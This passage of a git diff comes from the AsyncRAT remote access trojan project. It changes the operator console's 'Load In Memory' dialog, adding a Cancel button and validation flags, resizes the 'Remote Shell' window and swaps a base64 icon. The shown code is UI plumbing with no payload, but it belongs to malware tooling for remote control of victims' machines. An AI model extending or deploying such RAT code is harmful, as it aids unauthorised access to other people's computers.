+ this.button2.Size = new System.Drawing.Size(88, 30);
this.button2.TabIndex = 1;
this.button2.Text = "OK";
this.button2.UseVisualStyleBackColor = true;
@@ -151,19 +152,30 @@
this.toolStripStatusLabel1.Size = new System.Drawing.Size(24, 25);
this.toolStripStatusLabel1.Text = "...";
//
- // SendFileToMemory
+ // button3
+ //
+ this.button3.Location = new System.Drawing.Point(243, 220);
+ this.button3.Name = "button3";
+ this.button3.Size = new System.Drawing.Size(88, 30);
+ this.button3.TabIndex = 3;
+ this.button3.Text = "CANCEL";
+ this.button3.UseVisualStyleBackColor = true;
+ this.button3.Click += new System.EventHandler(this.Button3_Click);
+ //
+ // FormSendFileToMemory
//
this.AutoScaleDimensions = new System.Drawing.SizeF(9F, 20F);
this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
this.ClientSize = new System.Drawing.Size(351, 306);
+ this.ControlBox = false;
+ this.Controls.Add(this.button3);
this.Controls.Add(this.statusStrip1);
this.Controls.Add(this.button2);
this.Controls.Add(this.groupBox1);
- this.FormBorderStyle = System.Windows.Forms.FormBorderStyle.FixedSingle;
this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon")));
this.MaximizeBox = false;
this.MinimizeBox = false;
- this.Name = "SendFileToMemory";
+ this.Name = "FormSendFileToMemory";
this.StartPosition = System.Windows.Forms.FormStartPosition.CenterParent;
this.Text = "Load In Memory";
this.Load += new System.EventHandler(this.SendFileToMemory_Load);
@@ -188,5 +200,6 @@
public System.Windows.Forms.ToolStripStatusLabel toolStripStatusLabel1;
private System.Windows.Forms.Label label3;
public System.Windows.Forms.ComboBox comboBox2;
+ private System.Windows.Forms.Button button3;
}
}
\ No newline at end of file
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormSendFileToMemory.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormSendFileToMemory.cs
index 589696a..7a9ef15 100644
--- a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormSendFileToMemory.cs
+++ b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormSendFileToMemory.cs
@@ -14,6 +14,7 @@ namespace AsyncRAT_Sharp
{
public partial class FormSendFileToMemory : Form
{
+ public bool isOK = false;
public FormSendFileToMemory()
{
InitializeComponent();
@@ -52,15 +53,19 @@ namespace AsyncRAT_Sharp
toolStripStatusLabel1.Text = Path.GetFileName(O.FileName);
toolStripStatusLabel1.Tag = O.FileName;
toolStripStatusLabel1.ForeColor = Color.Green;
+ isOK = true;
if (comboBox1.SelectedIndex == 0)
{
try
{
Assembly.LoadFile(O.FileName);
+ isOK = true;
}
catch
{
toolStripStatusLabel1.ForeColor = Color.Red;
+ toolStripStatusLabel1.Text += " Invalid!";
+ isOK = false;
}
}
}
@@ -68,13 +73,21 @@ namespace AsyncRAT_Sharp
{
toolStripStatusLabel1.Text = "";
toolStripStatusLabel1.ForeColor = Color.Black;
+ isOK = true;
}
}
private void button2_Click(object sender, EventArgs e)
{
- if (toolStripStatusLabel1.ForeColor == Color.Green && toolStripStatusLabel1.Text.Length > 0) this.Hide();
+ if (isOK)
+ this.Hide();
+ }
+
+ private void Button3_Click(object sender, EventArgs e)
+ {
+ isOK = false;
+ this.Hide();
}
}
}
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormShell.Designer.cs b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormShell.Designer.cs
index bdbe51a..085dcad 100644
--- a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormShell.Designer.cs
+++ b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormShell.Designer.cs
@@ -48,10 +48,9 @@
this.richTextBox1.Font = new System.Drawing.Font("Consolas", 8F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.richTextBox1.ForeColor = System.Drawing.SystemColors.ControlText;
this.richTextBox1.Location = new System.Drawing.Point(0, 0);
- this.richTextBox1.Margin = new System.Windows.Forms.Padding(2);
this.richTextBox1.Name = "richTextBox1";
this.richTextBox1.ReadOnly = true;
- this.richTextBox1.Size = new System.Drawing.Size(533, 268);
+ this.richTextBox1.Size = new System.Drawing.Size(800, 412);
this.richTextBox1.TabIndex = 0;
this.richTextBox1.Text = "";
//
@@ -61,10 +60,9 @@
this.textBox1.Dock = System.Windows.Forms.DockStyle.Bottom;
this.textBox1.Font = new System.Drawing.Font("Consolas", 8F, System.Drawing.FontStyle.Regular, System.Drawing.GraphicsUnit.Point, ((byte)(0)));
this.textBox1.ForeColor = System.Drawing.SystemColors.ControlText;
- this.textBox1.Location = new System.Drawing.Point(69, 272);
- this.textBox1.Margin = new System.Windows.Forms.Padding(2);
+ this.textBox1.Location = new System.Drawing.Point(104, 423);
this.textBox1.Name = "textBox1";
- this.textBox1.Size = new System.Drawing.Size(464, 20);
+ this.textBox1.Size = new System.Drawing.Size(696, 26);
this.textBox1.TabIndex = 1;
this.textBox1.KeyDown += new System.Windows.Forms.KeyEventHandler(this.TextBox1_KeyDown);
//
@@ -80,32 +78,33 @@
this.panel1.Controls.Add(this.label1);
this.panel1.Dock = System.Windows.Forms.DockStyle.Left;
this.panel1.Location = new System.Drawing.Point(0, 0);
+ this.panel1.Margin = new System.Windows.Forms.Padding(4, 5, 4, 5);
this.panel1.Name = "panel1";
- this.panel1.Size = new System.Drawing.Size(69, 292);
+ this.panel1.Size = new System.Drawing.Size(104, 449);
this.panel1.TabIndex = 2;
//
// label1
//
this.label1.AutoSize = true;
- this.label1.ForeColor = System.Drawing.SystemColors.ActiveCaption;
- this.label1.Location = new System.Drawing.Point(6, 274);
+ this.label1.ForeColor = System.Drawing.Color.White;
+ this.label1.Location = new System.Drawing.Point(9, 422);
+ this.label1.Margin = new System.Windows.Forms.Padding(4, 0, 4, 0);
this.label1.Name = "label1";
- this.label1.Size = new System.Drawing.Size(60, 13);
+ this.label1.Size = new System.Drawing.Size(90, 20);
this.label1.TabIndex = 0;
this.label1.Text = "Command :";
this.label1.Click += new System.EventHandler(this.Label1_Click);
//
// FormShell
//
- this.AutoScaleDimensions = new System.Drawing.SizeF(6F, 13F);
+ this.AutoScaleDimensions = new System.Drawing.SizeF(9F, 20F);
this.AutoScaleMode = System.Windows.Forms.AutoScaleMode.Font;
this.BackColor = System.Drawing.Color.FromArgb(((int)(((byte)(64)))), ((int)(((byte)(64)))), ((int)(((byte)(64)))));
- this.ClientSize = new System.Drawing.Size(533, 292);
+ this.ClientSize = new System.Drawing.Size(800, 449);
this.Controls.Add(this.richTextBox1);
this.Controls.Add(this.textBox1);
this.Controls.Add(this.panel1);
this.Icon = ((System.Drawing.Icon)(resources.GetObject("$this.Icon")));
- this.Margin = new System.Windows.Forms.Padding(2);
this.Name = "FormShell";
this.Text = "Remote Shell";
this.FormClosed += new System.Windows.Forms.FormClosedEventHandler(this.FormShell_FormClosed);
diff --git a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormShell.resx b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormShell.resx
index e0ff0f6..98c9a0e 100644
--- a/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormShell.resx
+++ b/AsyncRAT-C#/AsyncRAT-Sharp/Forms/FormShell.resx
@@ -124,428 +124,457 @@
AAABAAUAEBAAAAEAIABoBAAAVgAAABgYAAABACAAiAkAAL4EAAAgIAAAAQAgAKgQAABGDgAAMDAAAAEA
- IACoJQAA7h4AAAAAAAABACAAfx4AAJZEAAAoAAAAEAAAACAAAAABACAAAAAAAAAEAADDDgAAww4AAAAA
- AAAAAAAAAAAAAAAAAAAAAAAA////AP///wH///8f////VP///3n///99////X////yv///8F////AAAA
- AAAAAAAAAAAAAAAAAAD///8A////AP///xX///96////1f////f////+//////////r////h////lf//
- /yj///8A////AAAAAAD///8A////AP///yP///+3/////f//////////////////////////////////
- ///////U////Qf///wD///8A////AP///xL///+0////////////////////////////////////////
- /////////////////9b///8t////AP///wD///9t////4v////X/////////////////////////////
- ////////////////////////////oP///wf///8W////rP///z7///9H////nf///+H////9////////
- /////////////////////////////////+n///86////Q////6L///8H////AP///wP///8m////bf//
- /9P////8////0////6n///+k////yv////f////+////d////2P///+N////AP///wD+/v4A////AP//
- /yr///+3////cf///xf///8C////Af///xH///9b////3f///5////9k////jf///wD///8A////AP//
- /wv///+i////Y/7+/gD///8AAAAAAAAAAAD///8A////AP///zv///9P////Rf///6L///8H////AP//
- /wD///9G////o////wn///8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP///xj///+u////LP//
- /wD///8A////ef///2////8A/v7+AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD///8A////dP//
- /4z///8E////AP///4f///9d////AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA////AP//
- /xX///+q////Zf///wD///9y////dv///wD///8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP//
- /wD///8A////Kf///63///9/////Wf///6z///8R////AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
- AAAAAAAA////AP///wD///8a////gf///7f////n////b////wD///8AAAAAAAAAAAAAAAAAAAAAAAAA
- AAAAAAAAAAAAAAAAAAAAAAAA////AP///wL///8m////X////03///8A////AAAAAAAAAAAAAAAAAAAA
- AAAAAAAAAAAAAPAPAADgBwAAwAMAAIABAACAAAAAAAAAABAAAAA8AAAAOPwAABj/AAAZ/wAAif8AAIn/
- AADA/wAA4P8AAPD/AAAoAAAAGAAAADAAAAABACAAAAAAAAAJAADDDgAAww4AAAAAAAAAAAAAAAAAAAAA
- AAAAAAAAAAAAAAAAAAAAAAAAAAAAAP///wD///8B////Dv///yj///86////Pv///y////8X////A///
- /wD///8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD///8A////BP//
- /zT///+E////wv///+H////u////7////+f////Q////nv///1D///8P////AP///wAAAAAAAAAAAAAA
- AAAAAAAAAAAAAAAAAAAAAAAA////AP///wD///8f////kf///+r/////////////////////////////
- //////////////////f///+6////Q////wL///8AAAAAAAAAAAAAAAAAAAAAAAAAAAD///8A////AP//
- /zn////J////////////////////////////////////////////////////////////////////6v//
- /23///8G////AAAAAAAAAAAAAAAAAP///wD///8A////Nv///9b/////////////////////////////
- //////////////////////////////////////////////////T///9w////A////wAAAAAAAAAAAP//
- /wD///8a////wv//////////////////////////////////////////////////////////////////
- ///////////////////////t////Tf///wD///8A////AP///wD///+B/////v//////////////////
- ////////////////////////////////////////////////////////////////////////////xv//
- /xf///8A////AP///yT////Z////kv///4z////Y////+///////////////////////////////////
- /////////////////////////////////////////////P///2X///8A////AP///2n////a////IP7+
- /gD///8d////Yf///7T////u////////////////////////////////////////////////////////
- /////////////////7b///8L////A////6j///+m////Av///wD///8A////AP///wn///83////h///
- /9L////4///////////////5////5////9r////i////9f///////////////////+P///8t////Ev//
- /8v///94////AP///wAAAAAAAAAAAAAAAAD///8A////AP///y3////P////9P///6f///9T////KP//
- /xr///8h////Q////4/////m//////////b///9Q////H////9n///9e////AAAAAAAAAAAAAAAAAAAA
- AAD///8A////Dv///6D////b////Vf///wf///8A////AAAAAAAAAAAA////AP///wL///84////w///
- //3///9t////IP///9r///9e////AAAAAAAAAAAAAAAAAP7+/gD///8A////dv///+P///9G////AP//
- /wAAAAAAAAAAAAAAAAAAAAAAAAAAAP///wD///8A////Jv///6P///9I////E////83///92////AP7+
- /gAAAAAAAAAAAP///wD///8l////2v///3n///8A////AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
- AAD///8A////AP///wb///8C////BP///6v///+j/v7+Av///wAAAAAA////AP///wD///9t////2P//
- /x////8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA////AP//
- /27////X////Hf///wAAAAAA////AP///wL///+o////p////wL///8AAAAAAAAAAAAAAAAAAAAAAAAA
- AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA////AP///yj////e////bf///wD///8A////AP//
- /wr////D////g////wD///8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
- AAAAAAAA////AP///wH///+J////1v///yf///8A////AP///wv////F////f////wD///8AAAAAAAAA
- AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAP///wD///8d////yf//
- /6////8U////AP///wT///+x////m////wD///8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
- AAAAAAAAAAAAAAAAAAAAAAAAAAAAAP///wD///8A////Pf///9z///+q////Hv///wD///9+////zv//
- /xT///8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
- AAD///8A////AP///0H////S////zf///1P///9C////4v///13///8A////AAAAAAAAAAAAAAAAAAAA
- AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA/v7+AP///wD///8m////nv//
- /+f////I////6f///9P///8p////AP///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
- AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD///8A////Bv///z3///+R////y////+n///9x////AP//
- /wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
- AAAAAAAAAAAAAP///wD///8C////E////y////8X////AP///wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
- AAAAAAAAAAAAAAAAAAAAAAAA/wD/APwAPwD4AA8A8AAHAOAAAwDAAAMAwAABAIAAAQCIAAAADgAAAB/A
- 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
+ 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
+ AP/afAD/x3MA/8NxAP/DcQD/w3EA/8JvAP/CbwD/wm8A/MNxAMfDcQBZw3EADMNxAADDcQAA3X0AAN19
+ AADdfQBh3X0A9d5/BP/mn0P/6apZ/+WdP//dfgP/3X0A/919AP/afAD/x3MA/8NxAP/DcQD/w3EB/9GR
+ O//Yoln/1JhH/8R0Bv/DcQD5w3EAc8NxAADDcQAA3X0AAN19AADdfQCM3X0A/919AP/wxIz///////rt
+ 2//hjiP/3XwA/919AP/afAD/x3MA/8NxAP/DcAD/yX8a//Tl0f//////58eb/8RzA//DcQD/w3EAoMNx
+ AAHDcQAA3X0AAN19AALdfQCl3X0A/917AP/kmDb//PTq///////rs2r/3HsA/919AP/afAD/x3IA/8Nx
+ AP/CbwD/2KRc//79/P/89/H/0pVC/8JvAP/DcQD/w3EAuMNxAAfDcQAA3X0AAN19AAjdfQC83X0A/919
+ AP/efwX/89Gk///////23r7/4IgV/96CCv/cgQr/yXgK/8V2Cv/HehH/7dOx///////t1LP/xXYK/8Nx
+ AP/DcQD/w3EAzcNxABHDcQAA3X0AAN19ABPdfQDR3X0A/919AP/dewD/56JJ//769P/++/j/+OPJ//ff
+ wf/238L/8d3C//Dcwf/y4Mf//fn1//78+v/XoVf/wm8A/8NxAP/DcQD/w3EA38NxAB7DcQAA3X0AAN19
+ ACHdfQDi3X0A/919AP/dfQD/34MN//bbuv////////////////////////////////////////////Lg
+ x//HexP/w3AA/8NxAP/DcQD/w3EA7cNxAC/DcQAA3X0AAN19ADPdfQDv3X0A/919AP/dfQD/3XsA/+mt
+ Xv/+/fv//vv3/+/AhP/oq1z/26Zd/9+1ev/89/H//////92ub//CbwD/w3EA/8NxAP/DcQD/w3EA98Nx
+ AETDcQAA3X0AAN19AEjdfQD53X0A/919AP/dfQD/3XwA/+CIF//45cz//////+27ev/ZeAD/xW4A/9qp
+ Z///////9urZ/8qCIP/DcAD/w3EA/8NxAP/DcQD/w3EA/sNxAFvDcQAA3X0AAN19AGDdfQD/3X0A/919
+ AP/dfQD/3X0A/918AP/tuHX///////nmzv/dhxb/ynkM/+/bvv//////4ryG/8NwAP/DcQD/w3EA/8Nx
+ AP/DcQD/w3EA/8NxAHTDcQAA3X0AAN19AHndfQD/3X0A/919AP/dfQD/3X0A/918AP/ijyT/+u3d///+
+ /P/lp1b/15hE//369f/58uf/zosw/8JvAP/DcQD/w3EA/8NxAP/DcQD/w3EA/8NxAI7DcQAA3X0AAN19
+ AJPdfQD/3X0A/919AP/dfQD/3X0A/919AP/dfQD/8MSM///////z17P/7c6l///////oyZ7/xHME/8Nx
+ AP/DcQD/w3EA/8NxAP/DcQD/w3EA/8NxAKfDcQAD3X0ABN19AKvdfQD/3X0A/919AP/dfQD/3X0A/919
+ AP/dewD/5Jc0//z06v/+/Pn//vv3//z48v/TlkP/wm8A/8NxAP/DcQD/w3EA/8NxAP/DcQD/w3EA/8Nx
+ AL3DcQAL3X0ADd19AMHdfQD/3X0A/919AP/dfQD/3X0A/919AP/dfQD/3n8F//PQo////////////+3V
+ tP/Fdgr/w3EA/8NxAP/DcQD/w3EA/8NxAP/DcQD/w3EA/8NxANHDcQAX3X0AGt19ANXdfQD/3X0A/919
+ AP/dfQD/3X0A/919AP/dfQD/3XsA/+ahR//++fT//vz6/9iiWf/CbwD/w3EA/8NxAP/DcQD/w3EA/8Nx
+ AP/DcQD/w3EA/8NxAOLDcQAo3X0AJ919AN3dfQD/3X0A/919AP/dfQD/3X0A/919AP/dfQD/3X0A/96D
+ DP/23Lv/8uLL/8d8FP/DcAD/w3EA/8NxAP/DcQD/w3EA/8NxAP/DcQD/w3EA/8NxAOjDcQA33X0ACN19
+ AEXdfQCU3X0A1919APrdfQD/3X0A/919AP/dfQD/3X0A/917AP/pq1z/3Kxr/8JvAP/DcQD/w3EA/8Nx
+ AP/DcQD/w3EA/8NxAPvDcQDcw3EAm8NxAE3DcQAMAAAAAN19AADdfQAC3X0AG919AFbdfQCj3X0A4d19
+ AP3dfQD/3X0A/919AP/cgQv/yXkN/8NwAP/DcQD/w3EA/8NxAP3DcQDlw3EAqsNxAF3DcQAfw3EAA8Nx
+ AAAAAAAAAAAAAAAAAAAAAAAA3X0AAN19AADdfQAE3X0AJN19AGTdfQCw3X0A5919AP3aewD/x3IA/8Nx
+ AP7DcQDrw3EAtsNxAGzDcQApw3EABcNxAADDcQAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAA3X0AAN19AADdfQAI3X0ANd19AIXafADZx3MA3sNxAI3DcQA7w3EAC8NxAADDcQAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAA/4H/AP4AfwD8AD8A8AAPAMAAAwDAAAMAwAABAIAAAQCAAAEAgAABAIAA
+ AQCAAAEAgAABAIAAAQCAAAEAgAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAwAADAPgAHwD/AP8AKAAAACAA
+ AABAAAAAAQAgAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAN19AADdfQAE3n0AQdp8AL3IcwDKwnEAT8NxAAfDcQAAAAAAAAAA
AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
- AAAAAAAAAAAAAAAAAAD///8A////AP///wf///8u////Z////5j///+4////x////8z////A////qv//
- /4H///9J////Fv///wH///8AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
- AAAAAAAAAAAAAAAAAAD///8A////AP///wn///9N////rf///+n////+////////////////////////
- //////////////////f////Q////fP///yH///8A////AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
- AAAAAAAAAAAAAAAAAAAAAAAA////AP///wD///8r////pf////T/////////////////////////////
- ///////////////////////////////////////+////1v///2P///8J////AAAAAAAAAAAAAAAAAAAA
- AAAAAAAAAAAAAAAAAAAAAAAAAAAAAP///wD///8B////Tv///9j/////////////////////////////
- ////////////////////////////////////////////////////////////9////5b///8V////AP//
- /wAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAD///8A////Af///1n////o////////////////////////
- /////////////////////////////////////////////////////////////////////////////v//
- /6n///8X////AP///wAAAAAAAAAAAAAAAAAAAAAA////AP///wD///9H////5v//////////////////
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAN19AADdfQAB3X0AKN19AI/dfQDo23wA/8dzAP/DcQDvw3EAncNx
+ ADLDcQACw3EAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAN19AADdfQAA3X0AG919AHrdfQDe3X0A/919AP/bfAD/x3MA/8Nx
+ AP/DcQD/w3EA5sNxAIjDcQAjw3EAAMNxAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAN19AADdfQAA3X0AEN19AGPdfQDP3X0A/d19AP/dfQD/3X0A/9t8
+ AP/HcwD/w3EA/8NxAP/DcQD/w3EA/sNxANnDcQByw3EAF8NxAADDcQAAAAAAAAAAAAAAAAAAAAAAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAN19AADdfQAA3X0ACd19AE7dfQC93X0A+d19AP/dfQD/3X0A/919
+ AP/dfQD/23wA/8dzAP/DcQD/w3EA/8NxAP/DcQD/w3EA/8NxAPzDcQDIw3EAW8NxAA3DcQAAw3EAAAAA
+ AAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAADdfQAA3X0ABN19ADrdfQCo3X0A8919AP/dfQD/3X0A/919
+ AP/dfQD/3X0A/919AP/bfAD/x3MA/8NxAP/DcQD/w3EA/8NxAP/DcQD/w3EA/8NxAP/DcQD4w3EAtcNx
+ AEfDcQAHw3EAAAAAAAAAAAAAAAAAAAAAAADdfQAA3X0AAN19ACPdfQCS3X0A6919AP/cewD/3HsA/9x7
+ AP/dfAD/3X0A/919AP/dfQD/3X0A/9t8AP/HcwD/w3EA/8NxAP/DcQD/w3EA/8NwAP/CbwD/wm8A/8Jv
+ AP/DcQD/w3EA8cNxAKDDcQAuw3EAAMNxAAAAAAAAAAAAAN19AADdfQAA3X0Akd19AP/dfAD/4IgV/+qx
+ Zv/stW7/67Rt/+KRKf/dfAD/3X0A/919AP/dfQD/23wA/8dzAP/DcQD/w3EA/8NxAP/DcAD/yoMh/9ys
+ a//drm7/3Kxq/8qBHP/DcAD/w3EA/8NxAKvDcQAEw3EAAAAAAAAAAAAA3X0AAN19AATdfQCv3X0A/918
+ AP/fhhH/9+DC////////////8cmV/919Af/dfQD/3X0A/919AP/bfAD/x3MA/8NxAP/DcQD/w3EA/8Nw
+ AP/huYH////////////05tL/yYAb/8NwAP/DcQD/w3EAx8NxAA7DcQAAAAAAAAAAAADdfQAA3X0ADd19
+ AMXdfQD/3X0A/917AP/rsWf///79///////67d3/4o4j/918AP/dfQD/3X0A/9t8AP/HcwD/w3EA/8Nx
+ AP/DcAD/yH0X//Tkz////////////+C1fP/CcAD/w3EA/8NxAP/DcQDaw3EAGsNxAAAAAAAAAAAAAN19
+ AADdfQAZ3X0A2N19AP/dfQD/3XwA/+GLHP/56dP////////+/v/rs2r/3HsA/919AP/dfQD/23wA/8dz
+ AP/DcQD/w3EA/8JvAP/XoVf//vz6///////47uH/zIcp/8JwAP/DcQD/w3EA/8NxAOnDcQAqw3EAAAAA
+ AAAAAAAA3X0AAN19ACndfQDo3X0A/919AP/dfQD/3XwA/+69fv////////////bdvf/fhhL/3oAF/96A
+ Bv/bfwb/yHYG/8R0Bv/EdAX/xncM/+vQrP///////////+bDk//DcQL/w3EA/8NxAP/DcQD/w3EA9MNx
+ AD7DcQAAAAAAAAAAAADdfQAA3X0APN19APPdfQD/3X0A/919AP/dfAD/45Iq//vw4v///////vr2//be
+ v//12bX/9dm1//TZtf/v1rX/7ta1/+7Wtf/v2bv//Pjy///////79e3/0JE6/8JvAP/DcQD/w3EA/8Nx
+ AP/DcQD8w3EAVcNxAAAAAAAAAAAAAN19AADdfQBT3X0A+919AP/dfQD/3X0A/919AP/dfgL/8cmW////
+ /////////////////////////////////////////////////////////////+vQqv/EdAf/w3EA/8Nx
+ AP/DcQD/w3EA/8NxAP/DcQBuw3EAAMNxAADdfQAA3X0AAN19AGvdfQD/3X0A/919AP/dfQD/3X0A/917
+ AP/lmzz//fbu/////////////vr1//337//99/D//Pfw//v28P/8+fT////////////9+vb/1ZxP/8Jv
+ AP/DcQD/w3EA/8NxAP/DcQD/w3EA/8NxAIfDcQAAw3EAAN19AADdfQAA3X0Ahd19AP/dfQD/3X0A/919
+ AP/dfQD/3X0A/96ACP/01Kz////////////z0KT/5Jcz/+KXNP/SkDT/zowy/+TAjv////////////Db
+ v//GeQ//w3AA/8NxAP/DcQD/w3EA/8NxAP/DcQD/w3EAocNxAAHDcQAA3X0AAN19AADdfQCf3X0A/919
